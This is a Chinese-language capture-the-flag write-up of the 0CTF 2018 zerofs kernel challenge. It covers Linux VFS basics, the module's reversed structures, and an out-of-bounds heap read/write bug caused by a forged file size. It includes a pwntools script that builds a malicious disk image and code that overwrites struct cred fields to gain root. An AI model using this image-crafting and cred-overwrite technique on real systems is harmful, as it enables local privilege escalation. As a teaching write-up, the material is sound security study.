在對題目進行分析之前,需要先對linux虛擬文件系統有一定的掌握。
「一切皆是文件」是 Unix/Linux 的基本哲學之一。不僅普通的文件,目錄、字符設備、塊設備、 套接字等在 Unix/Linux 中都是以文件被對待;它們雖然類型不同,但是對其提供的卻是同一套操作接口。
虛擬文件系統正是實現上述 Linux 特性的關鍵所在。虛擬文件系統(Virtual File System, 簡稱 VFS), 是 Linux 內核中的一個軟體層,用於給用戶空間的程序提供文件系統接口;同時,它也提供了內核中的一個抽象功能,允許不同的文件系統共存。系統中所有的文件系統不但依賴 VFS 共存,而且也依靠 VFS 協同工作。
為了能夠支持各種實際文件系統,VFS 定義了所有文件系統都支持的基本的、概念上的接口和數據結構;同時實際文件系統也提供 VFS 所期望的抽象接口和數據結構,將自身的諸如文件、目錄等概念在形式上與VFS的定義保持一致。換句話說,一個實際的文件系統想要被 Linux 支持,就必須提供一個符合VFS標準 的接口,才能與 VFS 協同工作。實際文件系統在統一的接口和數據結構下隱藏了具體的實現細節,所以在VFS 層和內核的其他部分看來,所有文件系統都是相同的。
Linux虛擬文件系統四大對象:
•超級塊(super block)•索引節點(inode)•目錄項(dentry)•文件對象(file)
超級塊在每個文件系統的根上,描述和維護文件系統的狀態。文件系統中管理的每個對象(文件或目錄)在 Linux 中表示為一個 inode。inode 包含管理文件系統中的對象所需的所有元數據(包括可以在對象上執行的操作)。dentry用來實現名稱和 inode 之間的映射,dentry 還維護目錄和文件之間的關係,從而支持在文件系統中移動。文件對象描述的是進程已經打開的文件。因為一個文件可以被多個進程打開,所以一個文件可以存在多個文件對象。但是由於文件是唯一的,那麼inode就是唯一的,目錄項也是定的。
有了這些基本概念對於解這一題好像也不太夠用,還需要對虛擬文件系統的具體實現以及mount原理有一定的掌握,可以去看參考連結中的內容,不再贅述。
描述文件[1]下載下來後,目錄如下:
$ ll-rw-r--r-- 1 raycp raycp 6.9M Mar 28 2018 bzImage-rw-r--r-- 1 raycp raycp 3.1M Mar 29 2018 rootfs.cpio-rwxr-xr-x 1 raycp raycp 240 Mar 28 2018 run.sh-rw-r--r-- 1 raycp raycp 320K Mar 28 2018 zerofs.korun.sh內容如下,開啟了smep、smap以及kaslr。
$ cat run.sh#!/bin/sh
stty intr ^]
qemu-system-x86_64 -enable-kvm -cpu kvm64,+smep,+smap -m 64M -kernel ./bzImage -initrd ./rootfs.cpio -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" -monitor /dev/null -nographic 2>/dev/nullsudo ./extract-cpio.sh rootfs.cpio將文件系統提取出來,init內容如下:
$ cat cpio/init#!/bin/sh
mknod -m 0666 /dev/null c 1 3mknod -m 0660 /dev/ttyS0 c 4 64
mount -t proc proc /procmount -t sysfs sysfs /sys
cat /root/signature
echo 2 > /proc/sys/kernel/kptr_restrictecho 1 > /proc/sys/kernel/dmesg_restrict
insmod /zerofs.ko
setsid cttyhack setuidgid 1000 sh
umount /procumount /sys
poweroff -f注意這裡需要用sudo來提取是要保證./bin/sh的所有者是root,不然重新打包以後會報沒有權限執行./mount。
可以將echo 2 > /proc/sys/kernel/kptr_restrict以及echo 1 > /proc/sys/kernel/dmesg_restrict都修改成echo 0 > xxx以方便調試,通過insmod zerofs.ko知道要分析的目標為zerofs.ko。
分析zerofs.ko是一個簡單的文件系統的實現,其是基於simplefs[2]文件系統的修改。
SimpleFs文件系統初步一(編譯並掛載)[3]系列文章對simplefs源碼進行了較為詳細的分析。
結合simplefs代碼以及對zerofs.ko的逆向,分析得到了zerofs文件系統的super_block結構體如下:
00000000 zerofs_super_block struc ; (sizeof=0x1000, align=0x8, copyof_605)00000000 magic dq ?00000008 block_size dq ?00000010 inode_count dq ?00000018 free_blocks dq ?00000020 padding db 4064 dup(?)00001000 zerofs_super_block ends通過對zerofs_fill_super函數的分析,可以知道它的magic為0x4F52455A,block_size為0x1000,且inode_count不能大於0x40,free_blocks的每一位表示的是其所對應的datablock是否為空。
00000000 zerofs_inode struc ; (sizeof=0x20, align=0x8, mappedto_604)00000000 ino dq ?00000008 dno dq ?00000010 mode dq ?00000018 dir_children_count $05F780B076FBCED92739702777A86942 ?00000020 zerofs_inode ends0000002000000000 ; 0000000000000000 $05F780B076FBCED92739702777A86942 union ; (sizeof=0x8, align=0x8, copyof_603)00000000 ; XREF: zerofs_inode/r00000000 file_size dq ?00000000 children_count dq ?00000000 $05F780B076FBCED92739702777A86942 ends其inode數據結構如上所示,其中ino表示的是inode編號,dno表示的是此inode的數據所在的datablock編號,mode則表示這個inode是文件還是目錄所對應的inode;最後一個欄位union在mode為文件的時候則對應的是文件大小filesize,為目錄的時候則表示是目錄中文件數據的個數children_count。
結構體zerofs_dir_record則表示的是dentry,filename表示的文件名,ino表示的是文件數據所在的inode的編號。
00000000 zerofs_dir_record struc ; (sizeof=0x108, align=0x8, copyof_602)00000000 filename db 255 dup(?)000000FF db ? ; undefined00000100 ino dq ?00000108 zerofs_dir_record ends大致分析下來以後可以將zerofs文件系統大致總結為:
•文件在磁碟中的存在方式是以datablock來劃分的,每個datablock大小為0x1000,inode的數量最大為0x40。•第一個datablock為super_block,其包含了文件系統的基本信息,如datablock的大小以及inode數量。•第二個datablock為存儲inode結構體數組的datablock,且根目錄的inode編號為1,其dno指向了根目錄下的dentry數組所在的datablock。•再通過dentry結構體中的ino連接文件數據或下級目錄內容。依次類推組織文件系統。
其漏洞存在的點是對於dir_children_count中所表示的filesize沒有與文件實際所佔用的blocksize進行檢查。在讀取以及寫入數據時並沒有檢查filesize有沒有大於當前的datablock,導致可以越界讀寫。
zerofs_read函數中可以看到它調用_bread_gfp函數,只讀取了一個bockdata的數據,而在調用copy_to_user時卻只判斷了filesize,而filesize是可以偽造的,若很大,如0xffffffffffffffff,就可以越界讀。
ssize_t __fastcall zerofs_read(file *filp, char *buf, size_t len, loff_t *ppos){ unsigned __int64 len_1; // rdx MAPDST uint64_t *ppos_1; // rcx MAPDST custom_inode *custom_inode; // r8 zerofs_inode *inode; // r14 ssize_t result; // rax struct buffer_head *bh_1; // rax MAPDST
_fentry__(filp, buf, len); custom_inode = (custom_inode *)filp->f_tfile_llink.next[1].prev; inode = custom_inode->i_private; if ( *ppos_1 >= inode->dir_children_count.file_size ) return 0LL; bh_1 = (struct buffer_head *)_bread_gfp( custom_inode->i_sb->s_bdev, inode->dno, *(_QWORD *)&custom_inode->i_sb->s_blocksize, 8LL); if ( !bh_1 ) return 0LL; if ( inode->dir_children_count.file_size <= len_1 ) len_1 = inode->dir_children_count.file_size; if ( copy_to_user(buf, &bh_1->b_data[*ppos_1], len_1) ) { _brelse(bh_1); result = 0xFFFFFFFFFFFFFFF2LL; } else { _brelse(bh_1); *ppos_1 += len_1; result = len_1; } return result;}同理也可以越界寫。
漏洞在於偽造文件的filesize來實現內核中堆的越界讀寫,結合前面對於zerofs相關結構題的分析,可以構建一個根目錄下存在單個文件,且文件大小為0xffffffffffffffff的磁碟腳本如下:
from pwn import *
## super block ## magic: 0x4F52455A; blocksize: 0x1000; inode count: 0x3; block0 = p64(0x4F52455A) + p64(0x1000) + p64(3) + p64(0xffffffff ^ 0x7)block0 = block0.ljust(0x1000, '\x00')
## there are two inode in second datablock, 1st inode is root inode, which data is stored in 2 nd datablock. 2nd inode's data is stored in 3rd datablock and its filesize is 0xffffffffffffffffblock1 = ''inode1 = p64(1) + p64(2) + p64(0x4000) + p64(0x1)inode2 = p64(2) + p64(3) + p64(0x8000) + p64(0xffffffffffffffff)block1 += inode1 + inode2block1 = block1.ljust(0x1000, '\x00')
## the 2nd blockdata is stored the dentry, there is only one file named 666 and its data inode is 2nd inode.block2 = ''block2 += '666'.ljust(256, '\x00')block2 += p64(2)block2 = block2.ljust(0x1000, '\x00')
img = block0 + block1 + block2 + '\x30' * 0x1000 * 1
with open('./cpio/tmp/zerofs.img', 'wb') as f: f.write(img)
利用經過上面的分析,得到了一個堆越界讀寫的漏洞,所以就變成了越界讀寫如何實現提權的問題。
具體的做法與klist[4]比較類似,先通過創建很多個線程實現在堆中填充struct cred結構體,然後通過越界讀去爆破該結構體(判斷欄位是否是uid的值(1000)),找到後使用越界寫將該欄位的值改為0,並利用越界寫寫回到內核中,從而實現提權。
這題利用最後有個坑點就是cred結構體的判斷,以往的題目結構體的判斷都是通過連續幾個欄位都是1000來實現的,因為結構體的定義如下:
struct cred { atomic_t usage;#ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic;#define CRED_MAGIC 0x43736564#define CRED_MAGIC_DEAD 0x44656144#endif kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */從uid到egid都是1000,通過連續六個欄位都是1000來判斷,基本上是準確的。
但是這題的exp卻不是這樣的,根據exp[5],其相應的六個字欄位變成了如下的六個偏移,這就看不太懂,問了tarafans師傅以後,師傅解釋說因為在編譯內核的時候開啟了RANDOM_STRUCT,豁然開朗,感謝師傅。
*(unsigned int *)(cred_buf + 0x8) = 0x0; // uid*(unsigned int *)(cred_buf + 0x6c) = 0x0; // gid*(unsigned int *)(cred_buf + 0x38) = 0x0; // suid*(unsigned int *)(cred_buf + 0x20) = 0x0; // sgid*(unsigned int *)(cred_buf + 0xa4) = 0x0; // euid*(unsigned int *)(cred_buf + 0x68) = 0x0; // egid然後就考慮,具體應該怎麼去判斷cred結構體,在源碼commit_creds中我找到了一段代碼,通過它的偏移我覺得可以用來確定,可以在ida裡面找到commit_creds函數然後去推斷。
/* send notifications */ if (!uid_eq(new->uid, old->uid) || !uid_eq(new->euid, old->euid) || !uid_eq(new->suid, old->suid) || !uid_eq(new->fsuid, old->fsuid)) proc_id_connector(task, PROC_EVENT_UID);
if (!gid_eq(new->gid, old->gid) || !gid_eq(new->egid, old->egid) || !gid_eq(new->sgid, old->sgid) || !gid_eq(new->fsgid, old->fsgid)) proc_id_connector(task, PROC_EVENT_GID);struct_random找到一些偏移,如上圖所示,應該就差不多吧。
小結這題感覺難點在於對於虛擬文件系統的理解以及逆向上,程序逆向清楚以後做起來就不是那麼難了,RANDOM_STRUCT也是第一次見,有意思。
相關文件以及腳本連結[6]
參考連結1.linux根文件系統的掛載過程詳解[7]2.Linux mount 命令[8]3.Linux 文件系統剖析[9]4.mount過程分析之一(基於3.16.3內核)[10]5.Linux 深入理解inode/block/superblock[11]6.Linux 文件系統(一)---虛擬文件系統VFS----超級塊、inode、dentry、file[12]7.SimpleFs文件系統初步一(編譯並掛載)[13]8.Linux 的虛擬文件系統(強烈推薦)[14]9.arafans/zerofs.c[15]10.0CTF2018 zerofs Writeup[16]11.simplefs-source code[17]
References[1] 文件: https://github.com/ray-cp/linux_kernel_pwn/blob/master/0ctf2018-zerofs/zerofs.tar.zip
[2] simplefs: https://github.com/psankar/simplefs
[3] SimpleFs文件系統初步一(編譯並掛載): https://blog.csdn.net/zhuyong006/article/details/83184501
[4] klist:
[5] exp: https://gist.github.com/tarafans/42e038686cb2f7bc41ebc77e5efad5f7
[6] 連結: https://github.com/ray-cp/linux_kernel_pwn/tree/master/0ctf2018-zerofs
[7] linux根文件系統的掛載過程詳解: https://www.jb51.net/LINUXjishu/540693.html
[8] Linux mount 命令: https://www.cnblogs.com/sparkdev/p/9015312.html
[9] Linux 文件系統剖析: https://www.ibm.com/developerworks/cn/linux/l-linux-filesystem/
[10] mount過程分析之一(基於3.16.3內核): https://blog.csdn.net/zr_lang/article/details/39963253
[11] Linux 深入理解inode/block/superblock: https://blog.csdn.net/Ohmyberry/article/details/80427492
[12] Linux 文件系統(一)---虛擬文件系統VFS----超級塊、inode、dentry、file: https://www.cnblogs.com/linux-xin/p/8126999.html
[13] SimpleFs文件系統初步一(編譯並掛載): https://blog.csdn.net/zhuyong006/article/details/83184501
[14] Linux 的虛擬文件系統(強烈推薦): https://www.cnblogs.com/feng9exe/p/8383950.html
[15] arafans/zerofs.c: https://gist.github.com/tarafans/42e038686cb2f7bc41ebc77e5efad5f7
[16] 0CTF2018 zerofs Writeup: http://blog.eadom.net/writeups/0ctf-2018-zerofs-writeup/
[17] simplefs-source code: https://github.com/psankar/simplefs